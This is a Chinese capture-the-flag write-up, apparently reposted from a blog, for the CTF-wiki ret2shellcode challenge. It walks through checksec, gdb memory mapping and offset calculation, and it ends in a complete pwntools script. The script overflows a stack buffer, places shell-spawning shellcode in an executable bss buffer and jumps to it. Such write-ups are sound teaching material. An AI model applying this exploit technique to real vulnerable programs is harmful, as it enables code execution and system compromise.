当前位置:网站首页>跟着CTF-wiki学pwn——ret2shellcode
跟着CTF-wiki学pwn——ret2shellcode
2022-07-02 03:04:00 【大瑞大】
链接: 配置工具,gdb,ida
ret2shellcode题解
checksec查看:
no canary=可以简单栈溢出
NX disabled = 将shellcode放在数据段,即可执行
ida查看:
可以输入100个字节,复制到buf2,不能够溢出
原来buf2在bss段,
bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
是不是可以执行呢
gdb调试:
gdb ret2shellcode
disas main
b main
r
vmmap

可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6C
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6C-->+-----------------+
0x6C+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)
栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目,可惜木有…
可以自己构造shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
构造payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- 2022 safety officer-c certificate examination questions and mock examination
- MongoDB非關系型數據庫
- After marriage
- 2022-2028 global deep sea generator controller industry research and trend analysis report
- 创业了...
- Redis set command line operation (intersection, union and difference, random reading, etc.)
- Qualcomm platform WiFi -- P2P issue (2)
- 结婚后
- Soul app released the annual report on generation Z behavior: nearly 20% of young people love shopping in the vegetable market
- [staff] pitch representation (treble clef | C3 60 ~ B3 71 pitch representation | C4 72 pitch representation | C5 84 pitch representation)
猜你喜欢
![[staff] restore mark (Introduction to the use of restore mark | example analysis of Metaphone mark and restore mark)](/img/21/7bbf276b01f5a1056a22f5afc0af26.jpg)
[staff] restore mark (Introduction to the use of restore mark | example analysis of Metaphone mark and restore mark)

Verilog 过程赋值 区别 详解

创业了...

Which brand of running headphones is good? How many professional running headphones are recommended
![[learn C and fly] 3day Chapter 2 program in C language (exercise 2.3 calculate piecewise functions)](/img/8e/a86a9724251718d98ce172a6a96e53.png)
[learn C and fly] 3day Chapter 2 program in C language (exercise 2.3 calculate piecewise functions)

Which brand of sports headset is better? Bluetooth headset suitable for sports

JS <2>

Jvm-01 (phased learning)
![Find duplicates [Abstract binary / fast and slow pointer / binary enumeration]](/img/9b/3c001c3b86ca3f8622daa7f7687cdb.png)
Find duplicates [Abstract binary / fast and slow pointer / binary enumeration]

C shallow copy and deep copy
随机推荐
QT uses sqllite
Possible causes of runtime error
How to create an instance of the control defined in SAP ui5 XML view at runtime?
Cache processing scheme in high concurrency scenario
Start a business
命名块 verilog
GB/T-2423. XX environmental test documents, including the latest documents
[Chongqing Guangdong education] Sichuan University concise university chemistry · material structure part introductory reference materials
[staff] pitch representation (bass clef | C1 36 note pitch representation | C2 48 note pitch representation | C3 60 note pitch representation)
Discussion on related configuration of thread pool
只需简单几步 - 开始玩耍微信小程序
LeetCode刷题(十)——顺序刷题46至50
Force deduction daily question 540 A single element in an ordered array
Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field
Actual battle of financial risk control - under Feature Engineering
PMP personal sprint preparation experience
Batch detect whether there is CDN in URL - high accuracy
Principle of computer composition - interview questions for postgraduate entrance examination (review outline, key points and reference)
A list of job levels and salaries in common Internet companies. Those who have conditions must enter big factories. The salary is really high
How to develop digital collections? How to develop your own digital collections